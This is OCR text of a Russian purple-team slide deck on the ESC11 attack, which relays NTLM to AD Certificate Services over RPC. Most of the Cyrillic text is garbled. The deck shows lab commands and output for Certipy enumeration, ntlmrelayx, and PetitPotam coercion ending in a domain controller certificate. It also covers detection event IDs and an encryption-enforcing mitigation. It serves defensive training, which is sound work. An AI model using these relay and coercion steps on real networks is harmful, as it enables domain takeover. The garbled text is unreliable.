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MNoaroroBKa = |

n Ha3HauyeHbl oTBeTCTBeHHbIe n3 SOC u Pentest

a Pa3BepHyT CTeH

a HauyaTa perynsipHasa pa6oTa no otrpaboTke pa3/fIuyHbIX TeEXHUK
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Mpumep: nossneHune Hoeon TexHukn  SFOC";
«MoBbilleHMne npuBunerun B AD»

Hoeble cropnpi3el B AD C5.. Jobaenm TexHuky ESCT1 4]

https:// f2022/11/relaying-to-ad-

certificate-services-over-rpc/

B #ad #pentest #redteam
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MpuMep: NnosiBfIeHNUE HOBOM TEXHUKM = |
«MoBblWeHue npusunernii B AD»




Pasz6bupaeMcsa B CyTH 3KCN1lyaTauum

1. NTLM Relay?

3. AD CS?

SOC

Relaying to AD Certificate
Services over RPC

NOVEMBER 16, 2022 SYLVAIN HEINIGER 0 COMMENTS

In June last year, the good folks at SpecterOps dropped awesome research on
Active Directory Certificate Services (AD CS) misconfigurations. Since then, we
find and report these critical vulnerabilities at our customers regularly.

( Purple team )




UTto Takoe NTLM Relay? = |

ATakyoLwwmit

2. NEGOTIATE
3anpocC CO CTOPOHbI K/IMEHTA
ocTaeTcAa 6e3 UaMeHeHUun

® >
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4. CnyyanHbii CHALLENGE
ocTaeTcAa 6e3 uameHeHUn
1122334455667788

< ® Server Client

6. CHALLENGE, 3awin¢d poBaHHbIN
CEKPEeTOM K/IMEeHTA

® >

JOoMEeHHbI 1 y3en

Client




SOC

4 N

B 2021 rogoy nccnepgoBatenum Yumnn Wpeoep v J1n
KpuncteHceH n3 SpecterOps BbIMYyCTUMU TEXHUNYECKNI
OOKYMEHT, B KOTOPOM MOoapOoHbHO OnNmMcbhbIBatoTCAa BOCceEMb (8)
MeTOO0B 3CKaNnaLuMm MNPOTUB CNYXX6 cepTndmnkaToB Active
Directory (AD CS), koTopble oHM Ha3BanM ESC1 - ESCS8.

o /




O6HapyXeHue LeHTpa ceptudukauun =IO

Domain\CA

ATaKyroLWwmi




O6Hapy)xeHue ESCII = |

/ ldentifying Vulnerable Configuration

Thanks to the great Certipy tool, it is relatively easy to identify this configuration,
just use our fork. In our vulnerable lab, it returns the following:

$ certipy find -u ffast@dc1.winattacklab.local -p '[CUT BY COMPA §5]' -dc-ip 10.0.1.100 -stdout
N Certipy v4.8.8 - by Oliver Lyak (ly4k)

C Red team )




O6Hapy)xeHue ESCI1 = |

-~

find rate .2 192.168.2.100
Certipy v4.8.2 - by Oliver Lyak (Lly4k)
Password:

Finding certificate templates

Found 33 certificate templates

Finding certificate authorities

Found 1 certificate authority

Found 12 enabled certificate templates
Trying to get CA configuration for 'teeb-DC1-CA' via CSRA

Got error while trying to get CA configuration for 'teeb-DC1-CA' via CSRA: CASessionError: code: 0x80070005 - E_ACCESSDEN
- General access denied error.

Trying to get CA configuration for 'teeb-DC1-CA' via RRP

Got CA configuration for 'teeb-DC1-CA'

Saved text output to '20241001132549 Certipy.txt'
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O6Hapy)xeHue ESCI1 = |

Certificate Authorities

CA Name : teeb-DC1-CA
DNS Name : DCl1.teeb.zz
Certificate Subject : CN=teeb-DC1-CA, DC=teeb, DC=zz
Certificate Serial Number : 1AC5B6D59467409D43ECB15401C54305
Certificate Validity Start : 2023-06-13 07:06:16+00:00
Certificate Validity End : 2043-06-13 07:16:15+00:00
Web Enrollment : Disabled
User Specified SAN : Disabled
Request Disposition : Issue
Enforce Encrvotion for Reauests : Disabled
Permissions
Owner : TEEB.ZZ\Administrators
Access Rights
ManageCertificates : TEEB.ZZ\Administrators
TEEB.ZZ\AQMHHMCTPATOPL [OMEHa
TEEB.ZZ\AOMHHUCTPATOPH NpeanpuUATHA
ManageCa : TEEB.ZZ\Administrators
TEEB.ZZ\AQMMHUCTPATOPH [OMEHa
TEEB.ZZ\AQMHHHCTPATOPL NpeAnpUATHA
Enroll : TEEB.ZZ\Authenticated Users
[!] vulnerabilities
ESC11 : Encryption is not enforced for ICPR requests and
Request Disposition 1s set to Issue




Template Name

Display Name

Certificate Authorities
Enabled

Client Authentication
Enrollment Agent

Any Purpose

Enrollee Supplies Subject
Certificate Name Flag

Enrollment Flag
Private Key Flag
Extended Key Usage

Requires Manager Approval
Requires Key Archival
Authorized Signatures Required
Validity Period
Renewal Period
Minimum RSA Key Length
Permissions

Enrollment Permissions

Enrollment Rights

~

O6Hapy)XeHue noaxoasiero wabnoHa ceprudmkarta

: KerberosAuthentication
! nposepka noanuHHocTH Kerberos

teeb-DC1-CA

: True
: True

False
False
False

: SubjectAltRequireDns

SubjectAltRequireDomainDns

: AutoEnrollment
: AttestNone
: Client Authentication

Server Authentication
Smart Card Logon

KDC Authentication
False

False

1 year

: 6 weeks
: 2048

TEEB.ZZ\AQMMHUCTPATOPH AIOMEHA
TEEB.ZZ\KoHTponneps AoMeHa
TEEB.ZZ\AQMHHUCTPATOPH NPEeanpUATHA

SOC

: TEEB.ZZ\KOHTponneps AOMEHa NPEAnpPUATHA - TONbKO uYTeHMue

Tech




dkcnnyatauusa ESCII

+

rpc://192.168.2.100

Impacket v0.10.0 - Copyright 2022 SecureAuth Corporation

[*]
[*]
[*]
[*]
[*]
[*]

Protocol
Protocol
Protocol
Protocol
Protocol
Protocol

Client
Client
Client
Client
Client
Client

IMAPS loaded..
IMAP loaded ..
SMB loaded..
LDAP loaded ..
LDAPS loaded ..
RPC loaded..

SOC




3kcnnyatauus ESCI = |

Domain\CA

ATakylowmin

2. NpuH ym,u,eHM exK
ayTeHTudunKaumm

Domain\DC




Tech

Cxema akcnnyaTtauumm ESCII "

~/PetitPotam
PetitPotam.py 172.16.255.2 192.168.2.200

)
||

A A

| " I CEEER I CCEE e I L EE I N I CEE LY I ECEECT i XL

-0-0-'""-0-0-'""-0-0-'""-0-0-'""-0-0-'""-0-0-'""-0-0-'" " -0-0-'" " -0-0-'""-0-0-"

PoC to elicit machine account authentication via some MS-EFSRPC functions
by topotam (@topotam77)

Inspired by @tifkin_ & @elad_shamir previous work on MS-RPRN

Trying pipe lsarpc

192.168.2.200

[-] Connecting to ncacn_np:192.168.2.200[\PIPE\lsarpc]
[+] Connected!

[+] Binding to ¢c681d488-d850-11d0-8c52-00c04fd90f7e
[+] Successfully bound!

<class 'str'>

172.16.255.2

[-] Sending EfsRpcOpenFileRaw!

[+] Got expected ERROR_BAD NETPATH exception!

[+] Attack worked!




3kcnnyatauus ESCI = |

Domain\CA

ATaKyloLmii

2. Mpwu Hym,u,é; nek
ayTeHTUPUKaunm

Domain\DC




PesynbTaT aKcnayaTauum ESCI1 = |

SMBD-Thread-8 (process_request_thread): Connection from 192.168.2.200 controlled, but there are no more targets left!

Generating CSR...

CSR generated!

Getting certificate...

Successfully requested certificate

Request ID is 7
[*] Base64 certificate of user DC2$:
b'MIIRRQIBAzCCEP8GCSqGSIb3DQEHAaCCEPAEghDSMIIQ6DCCBXx8GCSqGSIb3DQEHBqCCBXxAwWggcMAgEAMITHBQYJKoZIhvcNAQCcBMBWGC1qGSIb3DQEMAQMWDEQ
IhtlfgGnGLuoCAggAgIIG2N8PpJalvs237F911Z2ZknUjUZXY7IVRIQ5jcGt+12H5Iwzt+dyFQZ2rjlhlir3zQGzn8TGO9Xt6v1Z6C422skpnFH8R81ehdVeSKs02d1
f++GrBSyStALV/iSGaIgNK1lq4Asw0jSpGld7s4u/tFeFmNUzGBCaHvgG+3wdn7H1d2HgX1kCoUoQZV1rJuXyADGUXt+qUS8nWCRDCMaqUoFO8GT7ZkYOgxvgssutT
kEglj4/UcH3M5zsab@B/rPxrFanwRRK+bkhI1dZ2uS8BTE1HC/JTGOISELzM1gtKlyL3ZQVeGU7IRokzhg6x6NpWETIn8SwBQtC8kLfSOFC3ci4VLi6juNPYgbpPd
uxiRuszoJIm+uzY41UV7wIWCCSWTC6Hht5)1OPmjPK2s+MyNhtbCLdhCWQQ3DXGF5+K6V80G9pasS6/0+cbSUqUgnEQMTmI31cqGZi0IESDIYK70naYS4my@zDF+XPI
pl01aMxpZHAZ7ScoXGIacYiIQUtKODr jNOdWtS84HLAK11Cg2Yn4+vusG47kixjnLJaR3NtO0NngBe JSx04WX5euP0ebul2tpDbnrUBkbtMbzHQ3VWFHWIABwW/ ck04
81ql2RD3GrNoPBQSqcu8eduDyRUj1LX8+K6fYI0oJ7QYVxxw/GrDHBmOgTf/Ca®A06ZTDzGjOPBcdOab65XF8hTBINI38E61+D/BjlpsP+VDkn/UM1c9TnBuFmOL20)
2tgg8Euj2ELDGVCPIXWVssSs)ifho3/BhuwxclLgh/vLothZdySFds+jSQUmkwM/MGBX9qvWDwv3LnF/qkVAHUBQYwa3SaXjxoNeF3wZGUVbye@pZZLLEu8AsS9TyKO
H2fjvK59r4rAXoABfIYCVHqQC4gwnfO/pc+rNValB+IRHILIh1TAcz4yol9q80bdsx8iXAZ0ObYD3Uoeha+I4BeKaIUZmOtiw81GI jUVhTr2/y+/jiPhvdGdcX5h9pn
Zb9Z1DFHwyK4TJQYDe586X8feMFwF3QYVTVukwkPrJBuljqVblpevn/02CPVA/9L1VnaO5Suby j6U+oUBf2fD5D0ZzDzkpyRJGXEfTCg3Bvybo9SRq325ZY30S22F6
P5BZ8Vs/z/RPiz/GlHziieQWiwTckcfi@6rwECE7B02zCHX7tA0QDDih1GqzSZyK2Y8FVwW7hcwBIVNuidq6gd7 f6HPYy5gSeZYEy6zgpCDm+09gnqBq50VRSVWuUFV+
R/S5vydlpGNgg21PzI64K+Kg9TZDNFTgQBiv6wIn2BsqeloG1SnQSo/4GddOrQdg7EF/xyo0]/S7VCOk1Px9dIN2QA0GFsAjhor jIBMqzp9fSwua5GjPadvmvhEqDIw
Za45VBKN4HVrYcfVvERC8TBteHOKgOVCLKkKWB15Q1InIYc3VPMiQxYH81iRqWjilYL3vxbZZxKDNWWj x8HBNXQOELGKP9it5p3el joggBurAG+VmvzX6PtQjzZfF4qkx
rb9bHLOMUo®xqSJIFrqjv3FmLHyZJvPNEBarEqpTocGacESzKYFYVcIiEE9Lktr1IHUf6PDyTWo81ryVGBgkwAo+QmovD3vi1DhBiRm6G/Ak3tEFIXRBCXNCoplmMrT
DHyBKCB1kXkIymnn4uD43voMOyNo8wlJl+1lsp+1lqgKKgdnnAJcr+hiQe7rdBqCQyYDGmutSc673/z2wVHSATSNFAOFRVZKAEXxp8Kvs95jxP8rGg/9JEUIHLOr8foE
00gXym3d59DaChadb8P/qcktY2qr196dbg+uw+zufnxaZZh@SsfE+pJI8itNM/PVIMonK8s2pOuNeothaillyNKcMVs8kzU+PI4LpCclWsNihqjEtu@4sq@511Yvij)
4A6GpXVXu7veU4rH+4MLWoyU860wd/dCChP6xa7BC41 jIvAbmdpAG31UGRGIVZX09thnOyAigtx2ThdkIakmpp+xgUWZPrfeZuolN8pIPHI3HXKPVYN3nBLBm60otm8
6+DNOSIXHXA/aOnNNWIIfVuyP2SiLA2DzLGCcjbE8hTx4tyBfbKWQ3Ya53/iMXoxWKBh0OeSWIxjIN/7gXS1oUialYVFBoS1BX1/pR96vDgss+ccFbmxZ/4IxikYRm
gpEOHJiTt6+anWiBEs03BybluQLpOtJuOsty/SLSXIm2fOmuShlp+ofEVSovwN8n606QmauRgN jUPUKD7gTkCaHg8WTOCRjef1lztT4Iw+SFQACNXPHKLYer40AIYh




Detection. MeToaoonorusa

-

UCTOYHUKM COBbITUN

EE G £ N

Cepoepan Ceressr Paboume KOHTROANEDSI  MEMCETEBLIE IKDANS!
Baibl A3HHL YT pOdCTBa CTaHUMM AoMera nips

KoMnoHeHnT
YNPasNEHUA ¥ aHaANU33

KomMnoHeHr
Koppenauxu cobbirun

KOoMnoHenT
cbopa cobbituin

KomnoHeHTbl SIEM

&

Uuumaenr Ub

sOC-

C Blue team )




Detection. OTcneXXmuBaHue cobbiTUA = |

4886 — Cny»X6bl cepTudmKaumm Noay4dmnnam 3anpoc Ha cepTmudmkaT

4887 — Cny»6bl cepTUdmKaLmm ogodbpunm 3anpoc Ha cepTUDUMKAT U Bblgann ceptndmnkat

4888 — Cny»kbbl cepTUdPUKaUNM OTKITOHUIM 3anpocC Ha cepTudunKaTt

4898 — Cny»kb6bl cepTndmKaumm 3arpy3mnm wabnoH

C Blue team )




Detection. HacTpoiika CA SO0

\

/Csu:uﬁcma: teeb-DC1-CA 7 4

Dbwwe Mooyne nonuTaKK Mooyne Brixona Pacwuperua
¥paHumawe Tncnemyepe ceptvdmkaToe AreHTel Nogaun SaRBeoK
Ayt AreHTel BOCCTAHOBNEHWA BezonacHocTe

. Y106kl HEYaTE NPOTOKONMPOBaHWE COORITAA B XypHaN B230NacHOCTH,
_-.‘JJ certsry - [Lentp ceprudmkaupn (NokansHenii)] CNeayeT BKMNYATE OOCTYN K oS bekTy ayaMTa B rpynnosoid NonvTiKe.

CoBbITWA, ANA KOTOpkEX BRIMONHASTCA 3y aWT:

Dain  Jdeiicteme Bug Cnpaeea
ApxBaLMA KM BoCCTaHoBNEHWE Basel oaHHBR LIC

‘:}!' ‘E{&| = E | | [+ Mzmenenue HacTpoimknm LIC

W3meHeHwe napameTtpos GesonacHocmi LIC

Ll UenTp ceptndmrauun {.l"ll:urcaantH ram
e teeb-DC1-C”

Brinada 1 yNpasneHWe Sanpocamia CepTWRMKATOR
Trzemre y -DC1-CA OTsbiB cepTMMKaTos 1 NyGnukaua CRL

CoxpaHeHie W BOCCTEHOBNEHWE BPXMBMPOBEHHED KIyeH
OBHOEWTE Janyck W ocTaHoBKa cnyxbbl cepmdmkaTos Active Directany

CeoicTEa

Cnpaeka

MprreHMTE Cnpaeka 0,

Blue team




Detection. Co6biTus Event Manager = |

“F  OrpuneTposanoKypHan: Security; Mctounmk: ;: Koa coBbrmus: 4886, CoBbimuii: 2 ' OrpunatposarodKypran: Security; Mctounmic ; Koa cobermms: 4898, Cobermuii: |

Knroueesie cnosa lata v epema Merounne
Knwouegble cnoea [ata v epema

@, Ay auT yonexa 01.10.2024 15:59:25

N Ay auT yenexa . 1 Microsoft Windows security auditing.

Cobemwe 4898, Microsoft Windows security auditing.

OBume MogpobrocTn

Cobbimre 4386, Microsoft Windows security auditing.

CnyBbl cepTMhWKATOE 3arpysnnn wabnoH,

OBuwe oap 0BHOCTH KerberosAuthentication v110.0 (cxema V2)
1.3.6.1.4.1.311.21.8.7368209.11375972.12730553.14157449.627854.124.1.33
CN=KerberosAuthentication, CN=Certificate Templates, CN=Public Key Services,CN=Services,CN=Configuration,DC=teeb,DC=zz

CnyBbl cEpTUDUKATOR NOMYHWAN 3aNPOC HA CEPTUQUKAT.
CeefeHun o wabnoxe:

e T Cogep:xumoe WwabnoHa:

- flags = Dx10060 (65632)

3anpocuewmii:  TEEB\DCZS CT FLAG AUTQ_ENROLLMENT -- 0x20 (32)
ATpuByTbr: Certificate Template:KerberosAuthentication CT_FLAG_MACHINE_TYPE -- (x40 (64)
CT_FLAG_IS_DEFAULT -- 0w 10000 (65536)

msPKl-Private-Key-Flag = 0x0 (0)

F Ot¢mneTposano: KypHan: Security; Mctounnic ; Koa cobeman: 4887, CoBeimnit: 2 CTPRIVATEKEY_FLAG_ATTEST_MOMNE -- 0x0

TEMPLATE_SERVER_VER_MOME << CTPRIVATEKEY_FLAG_SERVERVERSIOMN_SHIFT -- 0x0
TEMPLATE_CLIENT_VER_MOME<< CTPRIVATEKEY_FLAG_CLIENTVERSION_SHIFT -- 0x0

Kntoueesie cnoea Jlata u spema
& msPKl-Certificate-Name-Flag = 0x8400000 (138412032)
=L, AyauT yonexa 01.10.2024 15:59:25 CT_FLAG_SUBJECT_ALT_REQUIRE_DOMAIN_DMS -- (400000 (4194304)
Ty e 01.10.2024 14:11:26 CT_FLAG_SUBJECT_ALT_REQUIRE_DNS -- 0x8000000 (134217728)
msPKl-Enrollment-Flag = 020 (32)
CT_FLAG_AUTO_ENROLLMEMT -- 0x20 (32)

msPKl-Template-Schema-Version = 2

CoBeirne 4887, Microsoft Windows security auditing, revision = 110

msPKl-Template-Minor-Revision = 0

OBuwe  MogpobHocTn
Wms wyprana: besonacHocTs

CryBel ceprudukaros ogobpnnn 3anpoc Ha cepTMUKaT W BbIAaNN cepTrdukar. MeTouHmi: Microsoft Windows security  Jata: 01.10.2024 14:11:26

Kog 4898 Kateropua sagaun:  Certification Services

3anpocwewmnii:  TEEB\DC2S YpoBeHs: CaeaeHuA Kntouesbie cnosa:  AyauT ycnexa
ATEMﬁEbI: CertificateTemplate:KerberosAuthentication Foaresms H/A Komnsrotep: DClteebzz
a3HaYEHNE!

Kog onepaynn:  Ceegerua

3
SKl: 25 1a c2 fa el ec a5 57 72 86 db 59 ba 97 ab 98 14 d0 79 Se
HpEAMET: MoapobrocT:  Cnpaexa B MinTepHeTe AnA

Blue team




Mitigation = |

BKIOUNTb LUMDPOBaHME

Mcnonb3oBaTb NoAMMCAaHME MaKETOB

Mcnonb3oBaTb ACLs anga Active Directory ¢ NpUMHLUMMNOM HAaUMEHbLLUMX MPUBUSIETMN
CerMeHTUpoOBaTb CeTb

= OTKa3aTbCcda OT ncnonb3oBaHmga NTLM

C Blue team )




Mitigation. «3awmwaemcsa ot Coerce» = |

He Mo)XxeM npuMeHUTb Mitigation

N%

3HA4YMT, HY)XXHO yCcTpaHuUTb Coerce

HeNnb35 NPOCTC

S

0 & Bk

ni a3aT|;cs| of NTLM

C Blue team )



https://habr.com/ru/companies/ussc/articles/688682/

Mitigation. BknioyeHue wmdpposaHus |

certutil -setreg CA\InterfaceFlags +IF_LENFORCEENCRYPTICERTREQUEST
net stop certsvc & net start certsvc

BN AgmuHncTpatop: KomangHan ctpoka

v C Blue team )




SOC

Protocol Client IMAP loaded..
Protocol Client IMAPS loaded..
Protocol Client SMB loaded.

Protocol Client LDAPS loaded..
Protocol Client LDAP loaded..
Protocol Client RPC loaded..
Protocol Client DCSYNC loaded..
Protocol Client SMTP loaded ..
Protocol Client MSSQL loaded..
Protocol Client HTTP loaded..
Protocol Client HTTPS loaded..
Running in relay mode to single host
Setting up RPC Server on port 135
Setting up SMB Server
Setting up HTTP Server
Setting up WCF Server
Setting up RAW Server

on port 80
on port 6666
Servers started, waiting for connections
SMBD-Thread-6 (process_request_thread): Received connection from 192.168.2.200, attacking target rpc://192.168.2.100
Authenticating against rpc://192.168.2.100 as TEEB/DC2$ SUCCEED
erfwfwef
] SMBD-Thread-8 (process_request_thread): Connection from 192.168.2.200 controlled, but there are no more targets left!
Generating CSR...
CSR generated!
Getting certificate...
Error occured while getting certificate: RequestSessionError: code: 0x80070005 - E_ACCESSDENIED - General access denied e
Maybe encryption is enforced?




UToru pa6otbl no ESCI1 = |

N

MnaHupoBaHUe: 3an1aHUPOBaHbI Pab6oTbl No nsyyeHuro ESCI1

N

NMoaroToBKa: HACTPOeH ysa3BMMbI CA

N

BbinonHeHUe: npoBeAeHa 3KCN/yaTaumsa ya3BUMOCTHU

N

AHanuns: npoaHanusnpoBaHbl cObbITUA B XXypHane 6e3onacHoctu Windows

N

OTYeTHOCTb: HarNncaHUe npaBui Koppenauumn

N

Peanusauus: BHegpeHue npasun

N

MoBTOpEeHMe: NpoBepKa paboToCNOCOBGHOCTU NpaBuJ

( Purple team )




SOC

ana SOC:

Ang neHrecra: * M3yYeHbl TAaKTUKM M TEXHWNKM BO3MOXKHbIX
« M3yueHa akTyanbHasa TEXHMKa 3/10YMbILLUNEHHWKOB

« Pa3paboTaHbl JeNCTBEHHbIE peKOMeHaaLnm * YNydlleHbl MeToabl OOHapPy>XeHUa
M NpegoTBPaLleHma yrpos3

( Purple team )




Anpo6auus = |

Red team: Blue team:

* [IlpMeHeHMe TEXHNKN B peallibHbIX * p83pa6OTaHbl MeTOObl o6Hapy>+<eHl/|s:|
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